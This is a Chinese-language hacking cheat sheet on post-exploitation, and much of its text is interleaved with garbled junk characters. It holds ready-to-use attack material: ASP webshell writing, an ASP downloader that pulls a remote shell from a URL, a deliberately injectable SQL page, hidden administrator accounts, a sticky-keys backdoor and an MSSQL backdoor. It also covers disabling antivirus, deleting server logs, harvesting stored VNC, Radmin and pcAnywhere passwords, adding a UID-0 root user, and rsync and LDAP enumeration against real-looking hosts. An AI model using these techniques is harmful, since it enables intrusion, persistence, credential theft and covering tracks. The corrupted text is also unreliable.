渗透技巧总结

admin

旁站路径问题
, `# Q/ \- ]# Q2 N4 y1、读网站配置。
2、用以下VBS
5 q# x1 w' h3 _- t* }- {On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

9 U  B6 q: }& _/ m8 v" EUsage:Cscript vWeb.vbs",4096,"Lilo"
4 r9 _- t0 u! o4 |; o        WScript.Quit
End If
Set ObjService=GetObject
, |- X. `! M  N5 P& W
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
. I: V7 v$ t( S6 W; N8 e0 F$ r7 j        If IsNumeric(obj3w.Name)

9 c: N* q9 ?7 n% d" P5 dThen
+ S- o+ o$ b0 W4 ?5 s  A- A$ Q                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
; G8 ]& y) n8 r         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

8 x% F' z5 {9 h& E4 @: O<> 0 Then WScript.Quit (1)
/ k3 |& }- z; Y$ j                WScript.Echo Chr(10) & "[" &
: U- y+ |3 P$ X  P, e# u" ?8 ]
OService.ServerComment & "]"
% [* N7 f! f* S" U                For Each Binds In OService.ServerBindings
7 A; ]; `1 f1 p: G& [     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
3 ]2 L8 \6 n; i5 L: S: r, ^
* o* ^' O, r  \# z9 |5 ~WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
- B  A: `% B# [9 [/ L6 a                Next
- Y0 v; p: o5 [* @      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
: E% s6 z  Q/ C0 X& p复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
. g, |; G4 x+ G5 g4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
- {$ `0 Q7 o4 k- J—————————————————————
8 b$ w3 J: h5 {& ~& b: wWordPress的平台，爆绝对路径的方法是：
, _, d5 ^5 E: u. Turl/wp-content/plugins/akismet/akismet.php
6 k9 ~* M& y" e2 yurl/wp-content/plugins/akismet/hello.php
——————————————————————
9 P7 @, J7 {% o. j. z' }. |! iphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
' \% J1 {1 K, q# v# c; S: DphpMyAdmin/darkblue_orange/layout.inc.php
; U: `' j6 \1 }- vphpMyAdmin/index.php?lang[]=1
" Q# s' ^9 D; w. s8 Cphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
: q7 U8 E0 ]+ P  ~/ n6 f网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
- C; T4 [0 @. X9 a9 D5 ?0 j7 T6 E————————————————————
1 X' Q2 k  ~# C# _$ YCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
& Z9 C! g8 Z- G9 A5 l" lnetsh ras ip show config #查看VPN分配IP的方式
! K2 K; d4 m0 a& N/ Anetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
4 x& u; e' j5 R) g6 E" L) C5 \netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
6 V8 H" B# [0 X& P" h& `. t命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
7 }7 G: K$ S% s" c( k- Z然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

, }' n1 m  C: _, c. P另类的加用户方法
; W% x9 _; p  |) F7 j- f在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
5 j! e6 o( s9 _3 xvar o=new ActiveXObject( "Shell.Users" );
( u3 w% Y) E1 V, q1 O& rz=o.create("test") ;
8 G. a* z# K% l" ^" Sz.changePassword("123456","")
z.setting("AccountType")=3;
7 N1 D; m: T; H7 M! a4 y
1 _( Q; s6 x; Qvbs:
5 z( k4 _% z! P( _  BSet   o=CreateObject( "Shell.Users" )
: y: {/ d) W- J! B! r4 {Set z=o.create("test")
' V, z+ @. R; C3 f7 l( g0 c- hz.changePassword "123456",""
# v; u* O; D; Az.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

; h% Q% v3 Z  q命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
; \; Z& c/ C$ L3 c) M: zcacls "目录" /d everyone               #everyone不可读，包括admin
' d$ H! I- @9 X, s# H————————以下配合PR更好————
: C8 V. b$ Q2 y  [* ?3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
) p1 {' e# B: [" F) S% Wc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
# o5 h1 o, O" X# I* c1 g1 |2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
- _9 J; ]; R& O' a1 ]处理变态诺顿企业版：
8 m2 _$ s( T! u- K2 Mnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
1 s  w$ _- I8 U. h: A- onet stop "Symantec Event Manager" /y
9 U6 @9 K2 |' N4 M) o$ ^, gnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

3 M2 N. o5 r! ~, _( x+ `卖咖啡：net stop "McAfee McShield"
' J$ D: C8 y6 `7 e% |& |) A- K5 G& G————————————————————
, J0 x# ]0 Q3 A1 p; p3 H1 }
5次SHIFT：
7 N5 E! ?- [( l& {0 }5 Qcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
2 H5 \2 w3 @$ m  h4 }  Rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
" C% t/ e1 X. ]2 s5 C' S* Scopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
2 ?& W$ z4 l+ e3 y5 Y9 `1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
( }, S2 ~7 D& @8 N' c* c% S5 iMSSQL扩展后门：
  h7 C# \6 M0 M, I! E0 H$ t: r6 J7 r& fUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
9 B: b) E" Q/ \3 _: ]* v  mGRANT exec On xp_helpsystem TO public;
———————————————————————
! q, o) y) A" s7 w& E日志处理
1 Q- e  g4 J& t, M9 K1 D7 n9 k' ZC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
4 o) X$ Y$ s) M9 b9 j. Y% Eex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
8 T7 E9 e' u( K7 B不成功，“原文件...正在使用”
$ r) y  x: X3 W; R3 V当然可以直接删除ex011120.log / ex011121.log
3 Q( s" w- u% k, J& l用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
0 C- t$ U+ V  n- H# ?9 M$ I7 _当停止msftpsvc服务后可直接删除ex011124.log

7 h" R* F. u# T. E! `MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
0 ^' V# F! C% h' V( u2 z* QHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
9 ?8 T" M) o: [, `MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
6 p& p1 ?0 }( q) ?
Server\90\Tools\Shell\mru.dat
—————————————————————————
4 A- C: @3 u1 E2 q3 O% W4 ^' Q防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
! @" z1 ^& v) s9 JSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
9 S" a  G4 e8 E$ TOn Error Resume Next
* W" O: x2 O1 }4 t2 tSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
  b2 g/ `, h, q3 u.Open "Get", s_RemoteFileUrl, False, "", ""
  M6 d/ H( p. Y2 n; W3 b, T.Send
: m2 u% v6 l$ H- CGetRemoteData = .ResponseBody
2 Z" A+ B- ^  W, d. `$ D! XEnd With
5 |- ~" ^1 a! r: b) y1 NSet Retrieval = Nothing
9 z8 ^; O& l2 ~! W2 X* kSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
  {9 T  Y; s8 {3 u* u5 Q2 l" y.SaveToFile Server.MapPath(s_LocalFileName), 2
+ X8 V6 R: s1 ^) J# [' i.Cancel()
.Close()
) _' a! E' D2 C1 p( p9 b" GEnd With
, E, a) M: S& a% j: qSet Ads=nothing
End Sub

' f. P3 r* z  c8 a8 H( z# PeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
6 ~0 L" w4 N5 L3 i  G6 P2 @# H
. z% Y. T! t0 i4 xVNC提权方法:
' j" }6 c8 k3 X' N: E利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
# F2 [+ s9 c8 W$ y) lregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
& J0 N  ]& ^6 N/ Y# W* z  F3 XHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
% }) z- ?6 m& v0 v7 `! @. k4 e: UHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
% G( P# }/ ?3 ~! n然后用HASH版连接。
/ ~' n9 v( R$ i+ m; Y+ |如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
  e# h, Z9 s. r5 V- g. WUsers\Application Data\Symantec\pcAnywhere\文件夹下。
2 `5 W( ^9 a/ `0 ]2 ]5 Q2 ?——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
* R. q& R8 o* Y& C+ t, u% c8 z$ pWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
4 Q) k* n3 ?1 `) v' {没有删cmd组建的直接加用户。
8 ?" r. C" z) p/ I" e7i24的web目录也是可写，权限为administrator。

2 I- Z: p: P8 Q# B( c5 }1433 SA点构建注入点。
9 t6 b9 U7 N1 j/ [2 {" ]<%
6 v! G' O" H! L7 _9 S! h3 ?! _4 e. ZstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
3 I" |! C) v1 nstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
7 p# L# m0 x: D8 l0 U0 h( eSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
2 A% K: r6 V+ L5 o
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
( t: K9 f0 a. n( W) kconn.open strCon
dim rs,strSQL,id
5 _, n* o7 k6 a3 Z) X7 T* ]set rs=server.createobject("ADODB.recordset")
2 h" H! D# j5 v: [% F) z" Tid = request("id")
* D6 d* f* ]; @% kstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
6 Z6 X9 R" o: F  ~) j4 H+ i4 Z%>
1 F3 {4 m8 x- N/ w复制代码
: _1 ?3 G( |+ n$ x& [' J******liunx 相关******
一.ldap渗透技巧
: v. s9 m3 R% Y3 i1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
6 f: v( V/ h- w' P7 ]  w
- o$ ?7 L& @( v% M7 e3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 I/ Q6 s/ b; I. {有密码形式
: Z1 {: M" f9 V/ y# @6 s0 gldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 S/ |; j2 w+ }
* p9 ]" r/ L. Q4 I% K"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

2 o; {* i) X6 T
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 s8 }: [* C* s  @$ v3 A  ?6 H- C
" Y+ y4 N8 P8 u9 D. y; w* v+ m实战:
  D' @0 u( V# D4 |, [( x1.cat /etc/nsswitch
, ^. f2 C$ H/ q- B  k. P* h7 L看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
9 I% R7 {  l( L' }找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

6 X+ K3 X/ M6 M. L2 u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# c7 l' _% x2 \2 f' n9 W有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

0 Z' b0 \3 o) n"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

2 c$ @9 |0 i; Y8 Q% `6 X# q
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

8 k' c+ S$ g+ {+ R( I0 g. o渗透实战:
1.返回所有的属性
* }: @9 w! T) o, \* Sldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
1 D! G! E- O1 Cversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

& e" B3 y" x, C* ^" ?3 C" k4 M9 Mdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
3 w% v8 z" T: }2 }6 ^, A- kobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
9 X. M8 q" |: h' ^, J. Y0 vcn: manager

) B- I. O8 c5 kdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
" s! B1 t' w* x, D' YobjectClass: inetOrgPerson
4 C* F8 m; P+ VobjectClass: organizationalPerson
objectClass: person
& r+ k1 Q! L0 t) ?objectClass: top
' t3 E4 Z8 ~# E* m# rsn: superadmin
8 g7 P! G: ]: N8 Acn: superadmin
& h) E, ~& s& r7 V! [; l9 A# y4 g
% t' W8 x1 }/ u0 X/ Ydn: uid=admin,dc=ruc,dc=edu,dc=cn
+ `6 d; r' L& r  suid: admin
3 E  {5 G  z% f7 ?5 ZobjectClass: inetOrgPerson
% A9 ~$ c& u; F# v: W0 m; y0 I8 PobjectClass: organizationalPerson
$ N2 }" M0 J3 g" aobjectClass: person
, P, [# l. u" p) b4 [3 n$ _objectClass: top
sn: admin
' Q5 B- s  }- ?- F5 c3 f: Fcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
; C- h  C) r4 H! t6 {" c& }( M1 euid: dcp_anonymous
objectClass: top
" ]7 H8 q+ Y0 k, Z& |0 e8 dobjectClass: person
- Q% w5 H4 E+ t8 U- fobjectClass: organizationalPerson
7 K- W- d; I0 g1 d$ l( ~/ G# f6 jobjectClass: inetOrgPerson
1 a, a4 {  j$ N) V. @# l4 Xsn: dcp_anonymous
cn: dcp_anonymous

5 p) e6 C$ I0 a5 o2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
9 r: p& M4 J& U- \
more
version: 1
# A3 z, `; U# k" adn: dc=ruc,dc=edu,dc=cn
3 \- s, e4 M6 M# Xdc: ruc
objectClass: domain
% k( x- F, Q6 i
: v* x% L: k/ ?* C6 `, M7 ~* @3.查找
9 P. g2 h. Q, \4 f" M! N1 jbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
- }6 `0 [$ ~9 R$ u* O* z6 u: Yversion: 1
. k3 d2 j( L, _2 z, |4 D* T; Kdn:
objectClass: top
; B7 N/ d+ n- M9 t8 wnamingContexts: dc=ruc,dc=edu,dc=cn
- Q: G# b$ R6 a. H5 @+ KsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
2 Y- c8 \7 s- ]  P$ F2 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
! y' g. c3 ]3 K5 }  B% isupportedExtension: 2.16.840.1.113730.3.5.3
7 @& A2 T4 u- z, a% \supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
, C6 Z4 N: s! s( u2 psupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
- g( e: p" h2 P/ s& ^* K& u( r& lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
% P0 j! |+ _& b  H6 [/ U* H1 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
( ^+ n6 z- Q9 m4 T+ HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
  V" G( N6 L3 t6 t6 [/ g- o4 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
! `. O) c6 Q5 p; q( e6 Z* F( R- NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
2 L. H$ I8 A# e, ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
5 T& _- b) P4 j. q4 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
2 J: ]" }( @, J7 ^( f) q+ {( xsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
( ^7 m* b) U, W' f" QsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
" j, V8 e$ s9 s" P% ^% h8 W: ~; S# ZsupportedControl: 2.16.840.1.113730.3.4.19
+ Y- |. f0 d, t* M! _supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
+ [/ y% ?( h+ [: C) i' GsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
) p; \9 S7 p4 m3 HsupportedControl: 1.3.6.1.4.1.1466.29539.12
' M- K; q5 k3 j# p$ T- SsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
0 ?6 p& B- z# n' L2 S) k; c/ UsupportedLDAPVersion: 3
' E2 y% t$ M) T4 h2 J9 k9 n1 Q$ jvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
( K" }2 A& Y5 asupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
' U6 Z2 _# K4 L5 L$ AsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
, ]" |! V3 e' S& N% rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
( Y/ k) S) Q+ \4 s: K# \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
6 W' U" R# c, W5 o' {: f# U  jsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
9 e0 m+ _, q% C0 y  `/ o" SsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
* l( P$ z& G- f# F, IsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
5 B: N' F. S. p$ A! X  I. @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
$ X3 [. e) v- V% y8 K1 ssupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
! V5 q  Q) g' H" ~, c' B; i) p6 wsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
4 J9 b8 q  I6 o0 K7 u+ TsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
2 [3 R3 P; @- w+ C  F: \, M0 Z. osupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
! O6 h7 N% q/ I8 k; dsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
2 B; S3 ~0 g  s2 ^6 P1 s% y* q, osupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
$ ?8 b8 \; k: u) m- t; q2 @supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
# c' X( @! v2 E( rsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
8 y7 a0 _2 I; J1 asupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
& y% P0 y8 k2 O4 usupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
3 r0 P5 f& W* f* k. ZsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
0 x9 F& x1 r/ K+ a9 qsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
9 t, S. Q) a1 A! V: J2 ?supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
* f9 H, y6 R- E& bsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
- ~$ I) M7 |* d) c4 \' q( @  YsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
; z: y; c+ H- TsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
: r* I: ^+ v. y8 vsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
4 c! @" p1 c/ g1 a+ A————————————
2. NFS渗透技巧
% n, m5 l1 n' n' u; pshowmount -e ip
( h1 [' k8 u  S列举IP
% F% x! S2 L7 K1 @——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
! \! g6 G2 K3 Z7 C! ifinance
img_finance
auto
img_auto
html_cms
  D5 O- @, Z/ h* m* ximg_cms
9 C" l+ H! W! f' ?8 L1 J0 }ent_cms
' y9 @8 p9 R! [9 a0 Vent_img
ceshi
res_img
res_img_c2
% A3 e% S3 G" {$ \$ kchip
chip_c2
ent_icms
( o4 W0 v1 E$ i* b( [+ igames
; I! `: M1 X$ R) S6 `gamesimg
media
mediaimg
fashion
2 w' M/ ]% r  W! ?- H$ f2 W$ q  Ires-fashion
res-fo
taobao-home
res-taobao-home
house
+ h1 ]; i; w$ U5 a; J- Z6 u% \res-house
- _1 K3 E, K! ]1 Pres-home
res-edu
. D* J3 l4 |7 Dres-ent
res-labs
res-news
( ?( E/ p8 ~+ I+ W, D, Ires-phtv
res-media
home
- i0 [& F- ~3 ?: ~1 I' }edu
& w2 [7 Y& F0 \/ ^4 o8 r$ Ynews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)

2 j! m3 s5 b: ^- J% |
) v' S# O# Z/ V, arsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
& h; U* n6 M) U# Y( U! s* z! X
2 M8 v" E5 ~0 k3 K5 g2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
1 u9 Q0 Q+ A8 p  z" |, P
0 \& I. e; l5 V, M& ^3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
& A( Y- l0 _* u4 i2 J" _ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
9 I* O8 Y9 D6 |# `5 D. e
六.joomla渗透小技巧
确定版本
3 Z7 T! D. P% \6 P0 Cindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
. A5 T# U/ z$ [( h
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
# n+ j, `) [. ], |
# H8 o8 l! o: w/ z0 u七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
* }+ f! q/ f% U/ G6 Y2 r
5 X9 o; @. F4 G! g  e7 a0 ~  U八.freebsd本地提权
2 m& v# Y6 l: ^8 p1 U+ @[argp@julius ~]$ uname -rsi
/ D+ Z8 H9 s7 u0 L7 ]* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
; o+ e" g9 Y' L* }* vfs.usermount: 1
1 n1 ?" r/ ]) w5 `0 G& y* Q* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* A# u9 ^1 d1 q* [argp@julius ~]$ ./nfs_mount_ex
- W7 o+ H9 Q; v& }, a*
calling nmount()
1 I  T# q4 ?3 ?0 \
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
